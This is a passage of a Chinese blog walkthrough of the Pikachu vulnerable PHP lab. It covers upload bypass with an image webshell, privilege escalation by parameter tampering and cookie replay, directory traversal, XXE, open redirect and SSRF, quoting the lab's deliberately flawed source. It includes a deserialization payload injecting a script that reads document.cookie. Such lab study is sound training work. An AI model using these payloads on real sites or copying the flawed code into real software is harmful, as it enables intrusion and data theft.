//如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
$return_data['new_path']=$save_path.$_FILES[$key]['name'];
$return_data['return']=true;
return $return_data;
}
用upload_sick()对文件的type进行检查,不是jpg和png图片则不行,不可靠。
3,getimagesize

直接上传图片马,绕过所有的检查

此时图片只是图片,需要联和文件包含漏洞执行文件

源码:
//进行了严格的验证
function upload($key,$size,$type=array(),$mime=array(),$save_path){
$arr_errors=array(
1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3=>'文件只有部分被上传',
4=>'没有文件被上传',
6=>'找不到临时文件夹',
7=>'文件写入失败'
);
if(!isset($_FILES[$key]['error'])){
$return_data['error']='请选择上传文件!';
$return_data['return']=false;
return $return_data;
}
if ($_FILES[$key]['error']!=0) {
$return_data['error']=$arr_errors[$_FILES[$key]['error']];
$return_data['return']=false;
return $return_data;
}
//验证上传方式
if(!is_uploaded_file($_FILES[$key]['tmp_name'])){
$return_data['error']='您上传的文件不是通过 HTTP POST方式上传的!';
$return_data['return']=false;
return $return_data;
}
//获取后缀名,如果不存在后缀名,则将变量设置为空
$arr_filename=pathinfo($_FILES[$key]['name']);
if(!isset($arr_filename['extension'])){
$arr_filename['extension']='';
}
//先验证后缀名
if(!in_array(strtolower($arr_filename['extension']),$type)){//转换成小写,在比较
$return_data['error']='上传文件的后缀名不能为空,且必须是'.implode(',',$type).'中的一个';
$return_data['return']=false;
return $return_data;
}
//验证MIME类型,MIME类型可以被绕过
if(!in_array($_FILES[$key]['type'], $mime)){
$return_data['error']='你上传的是个假图片,不要欺骗我xxx!';
$return_data['return']=false;
return $return_data;
}
//通过getimagesize来读取图片的属性,从而判断是不是真实的图片,还是可以被绕过的
if(!getimagesize($_FILES[$key]['tmp_name'])){
$return_data['error']='你上传的是个假图片,不要欺骗我!';
$return_data['return']=false;
return $return_data;
}
//验证大小
if($_FILES[$key]['size']>$size){
$return_data['error']='上传文件的大小不能超过'.$size.'byte(500kb)';
$return_data['return']=false;
return $return_data;
}
//把上传的文件给他搞一个新的路径存起来
if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_data['error']='上传文件保存目录创建失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
}
//生成一个新的文件名,并将新的文件名和之前获取的扩展名合起来,形成文件名称
$new_filename=str_replace('.','',uniqid(mt_rand(100000,999999),true));
if($arr_filename['extension']!=''){
$arr_filename['extension']=strtolower($arr_filename['extension']);//小写保存
$new_filename.=".{$arr_filename['extension']}";
}
//将tmp目录里面的文件拷贝到指定目录下并使用新的名称
$save_path=rtrim($save_path,'/').'/';
if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$new_filename)){
$return_data['error']='临时文件移动失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
//如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
$return_data['save_path']=$save_path.$new_filename;
$return_data['filename']=$new_filename;
$return_data['return']=true;
return $return_data;
}
?>
getmagesize.php文件:
if(isset($_POST['submit'])){
$type=array('jpg','jpeg','png');//指定类型
$mime=array('image/jpg','image/jpeg','image/png');
$save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
$upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}
?>
服务器端对文件的上传方式,后缀名,MIME类型,文件图片属性包括大小,尺寸,类型,宽度,高度的具体信息都进行严格的验证,确实挺天衣无缝,但是可以利用前面的文件包含,不管什么格式的文件符合PHP代码规范则会按照PHP解析执行,导致图片马中的<?php phpinfo();?>被执行。
八、越权
1,水平越权

根据提示进行登录,点击个人信息,查看F12的网络包,没有session,修改username的参数值试试,水平越权成功。
源码:
if(isset($_GET['submit']) && $_GET['username']!=null){
$username=escape($link, $_GET['username']);
$query="select * from member where username='$username'";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
$uname=$data['username'];
$sex=$data['sex'];
$phonenum=$data['phonenum'];
$add=$data['address'];
$email=$data['email'];
没有将传入的username进行session校验,而是直接使用传入的值查询。
2,水平越权

使用admin管理员登录,发现能进行用户的添加,添加用户,使用burpsuite抓包


添加用户成功,使用pikachu普通用户登录,复制普通用户cookie代替admin的cookie重放数据包


垂直越权成功,普通用户能执行管理员用户添加用户的权限。
源码:
admin.php:
$link=connect();
// 判断是否登录,没有登录不能访问
//如果没登录,或者level不等于1,都就干掉
if(!check_op2_login($link) || $_SESSION['op2']['level']!=1){
header("location:op2_login.php");
exit();
}
//删除
if(isset($_GET['id'])){
$id=escape($link, $_GET['id']);//转义
$query="delete from member where id={$id}";
execute($link, $query);
}
if(isset($_GET['logout']) && $_GET['logout'] == 1){
session_unset();
session_destroy();
setcookie(session_name(),'',time()-3600,'/');
header("location:op2_login.php");
}
?>
admin_edit.php:
$link=connect();
if(!check_op2_login($link)){
header("location:op2_login.php");
exit();
}
if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){//用户名密码必填
$getdata=escape($link, $_POST);//转义
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['address']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){//判断是否插入
header("location:op2_admin.php");
}else {
$html.="<p>修改失败,请检查下数据库是不是还是活着的</p>";
}
}
}
user.php:
$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_op2_login($link)){
header("location:op2_login.php");
}
if(isset($_GET['logout']) && $_GET['logout'] == 1){
session_unset();
session_destroy();
setcookie(session_name(),'',time()-3600,'/');
header("location:op2_login.php");
}
?>
login.php:
if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){
$username=escape($link, $_POST['username']);
$password=escape($link, $_POST['password']);//转义,防注入
$query="select * from users where username='$username' and password=md5('$password')";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
if($data['level']==1){//如果级别是1,进入admin.php
$_SESSION['op2']['username']=$username;
$_SESSION['op2']['password']=sha1(md5($password));
$_SESSION['op2']['level']=1;
header("location:op2_admin.php");
}
if($data['level']==2){//如果级别是2,进入user.php
$_SESSION['op2']['username']=$username;
$_SESSION['op2']['password']=sha1(md5($password));
$_SESSION['op2']['level']=2;
header("location:op2_user.php");
}
}else{
//查询不到,登录失败
$html.="<p>登录失败,请重新登录</p>";
}
}
}
?>
根据数据库中的level字段的级别进行判断是admin登录还是普通用户登录,并生成相对应的session存储在服务器端,但是admin_edit进行添加用户时没有对级别level进行判断,导致低级用户重放数据包能进行越权操作。
九、目录遍历

这里只有title的参数能利用了,应该能通过改变title的参数读取到其它的文件。

果然如此,通过修改titile的参数能进行目录遍历读取文件。
源码:
if(isset($_GET['title'])){
$filename=$_GET['title'];
require "soup/$filename";
}
?>直接使用了require包含了传入的title参数,跟include一个道理。
include和require的区别如下:
1,include遇到错误产生警告,程序会执行下去,require()会报错,不会再执行程序 。比如require("test.php") echo 1; include("test.php") echo 1; 如果test.php不存在,include会输出1,require不会。
2,require()会将目标文件内容读入,并且把自身代换成读入的内容,通常用于导入静态的内容,include()则适用于导入动态的程序代码,require是无条件包含,放入一个流程里,无论流程成立与否都会先执行require,include一般放在流程控制的处理部分中PHP程序网页读到include文件时,才读入。
十、敏感信息泄露

源代码中有登录账号,登录后发现是abc.php,直接在url中输出abc.php也能访问,逻辑有问题,没有进行登录验证。可以使用中间件或者在访问用户信息url时候验证用户是否登录,否则返回原页面。
十一、PHP反序列化
反序列化更多的指PHP的魔术方法,不恰当的使用了魔术方法,反序列化的内容用户可以控制,导致了安全问题,常见的模数方法如下:


源码分析:
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if([email protected]$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
?>
<?php echo $html;?>类S使用了构造函数_construct,通过反序列POST请求o的参数并赋值给html页面。所以输入O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}
对于序列化字符串的解析:O是指一个对象,S是类名称,s:4是字符串有4个字符即test。
序列化的字符串会被反序列后将<script>alert(document.cookie)</script>嵌入了HTML页面,导致了弹窗。
十一、XXE


具体XXE的知识,可以参考https://mp.csdn.net/mp_blog/creation/editor/124788405。
源码:
$html='';
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}
?>simplexml_load_string(data,classname,options,ns,is_prefix);将函数转换形式良好的XML字符串转换为SimpleXMLElement对象,LIBXML_NOENT指替代实体,即开启外部实体解析
主要是对外部的实体进行了解析,并且将结果渲染到了HTML页面中,造成了信息泄露。
十二、URL重定向

点击第四个,发现存在变量url,将url的值变成某个网址看看。比如将?url=120.79.29.170会跳转。
源码:
$html="";
if(isset($_GET['url']) && $_GET['url'] != null){
$url = $_GET['url'];
if($url == 'i'){
$html.="<p>好的,希望你能坚持做你自己!</p>";
}else {
header("location:{$url}");
}
}
?>变量url不为i则直接location跳转到url的地址,应当对参数的值判断,不为i则跳到原页面。
十三、 SSRF(服务端请求伪造)
1、curl

url中使用http协议对文件进行读取,SSRF还可以联合file,gopher,ftp等协议对内网进行扫描或者一些信息读取等。
源码:
if(isset($_GET['url']) && $_GET['url'] != null){
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
echo $RES;
}
?>使用了curl_exec()函数通过PHP对数据进行获取,并且输出返回,明显存在服务端请求伪造,应当对前端的URL进行白名单的过滤。
2,file_get_content
源码:
if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}
?>
使用PHP函数file_get_content()读取文件且未进行白名单过滤
总结、
pikachu靶机都是些简单的漏洞,很简单的手法利用,比较适合新手。
边栏推荐
- Binary tree - 617. Merge binary tree
- [one library] mapbox GL! A map engine out of the box
- How long can this bull market last Answers to questions 2021-05-11
- 如何让你的 JS 代码写得更漂亮
- Security document archiving software
- SSM environment integration
- Binary tree - 404. Sum of left leaves
- Binary tree related knowledge
- 滑动窗口_
- letfaw
猜你喜欢

网站服务器停止响应是什么意思?

Sequence traversal II of leetcode107 binary tree

测试7年,面试华为最后面议要薪1万,HR说我不尊重华为,他们没有那么低薪资的岗位~
![[英雄星球七月集训LeetCode解题日报] 第25日 树状数组](/img/e6/a59a1719c4381772ce7475d59d5068.png)
[英雄星球七月集训LeetCode解题日报] 第25日 树状数组

The bull market will continue. Take your money 2021-05-08

寻找命令find和locate

白蛋白纳米-超声微泡载组织型纤溶酶原激活物基因靶向制备研究

"Demons dance", is the bull market over? 2021-05-13

【Redis】① Redis 的介绍、Redis 的安装

Unity -- Euler angle, quaternion
随机推荐
Niuke / Luogu - [noip2003 popularization group] stack
34-SparkSQL自定义函数的使用、SparkStreaming的架构及计算流程、DStream转换操作、SparkStreaming对接kafka和offset的处理
Recent impressions about bull market and defi 2021-05-17
What are the precautions for using MySQL index? (answer from six aspects)
多任务编程
【目录】mqtt、nodejs项目
IP Core: PLL
Jd.com searches for product API instructions by keyword
Binary tree -- 104. Maximum depth of binary tree
通货膨胀之下,后市如何操作?2021-05-14
mysql事务的引入
Jd.com API for obtaining recommended product list
用了MQ消息中间件后,我开始后悔了...
复盘:推荐系统—— 负采样策略
LeetCode高频题66. 加一,给你一个数组表示数字,则加1返回结果
Appium combs the process from start to test and then to end
Elementary C language - branch statements (if, switch)
[one library] mapbox GL! A map engine out of the box
34 use of sparksql custom functions, architecture and calculation process of sparkstreaming, dstream conversion operation, and processing of sparkstreaming docking Kafka and offset
Leetcode question brushing series -- 931. Minimum sum of descent path



